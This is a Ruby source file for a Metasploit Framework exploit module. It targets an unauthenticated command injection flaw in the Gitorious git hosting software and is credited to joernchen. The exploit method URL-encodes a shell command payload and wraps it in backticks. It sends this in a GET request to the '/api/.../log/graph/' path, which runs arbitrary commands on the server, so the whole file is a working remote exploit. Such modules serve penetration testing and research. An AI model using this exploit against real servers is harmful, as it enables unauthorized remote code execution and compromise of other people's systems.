|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})  super(update_info(info,  'Name' => 'Gitorious Arbitrary Command Execution',  'Description'=> %q{  This module exploits an arbitrary command execution vulnerability in the  in gitorious. Unvalidated input is send to the shell allowing command execution.  },  'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit  'License'=> MSF_LICENSE,  'References' =>  [  [ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],  ],  'Privileged' => false,  'Payload'=>  {  'BadChars' => "\x60",  'DisableNops' => true,  'Space' => 31337,  'Compat'=>  {  'PayloadType' => 'cmd',  }  },  'Platform' => [ 'unix', 'linux' ],  'Arch' => ARCH_CMD,  'Targets'=> [[ 'Automatic', { }]],  'DisclosureDate' => 'Jan 19 2012'  ))  register_options(  [  OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),  ], self.class)  end  def exploit  # Make sure the URI begins with a slash  uri = datastore['URI']  if uri[0,1] != '/'  uri = '/' + uri  end  # Make sure the URI ends without a slash, because it's already part of the URI  if uri[-1, 1] == '/'  uri = uri[0, uri.length-1]  end  command = Rex::Text.uri_encode(payload.raw, 'hex-all')  command.gsub!("%20","%2520")  res = send_request_cgi({  'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",  'method'=> 'GET',  'headers' =>  {  'Connection' => 'Close',  }  }) #default timeout, we don't care about the response  if (res)  print_status("The server returned: #{res.code} #{res.message}")  end  handler  end end  |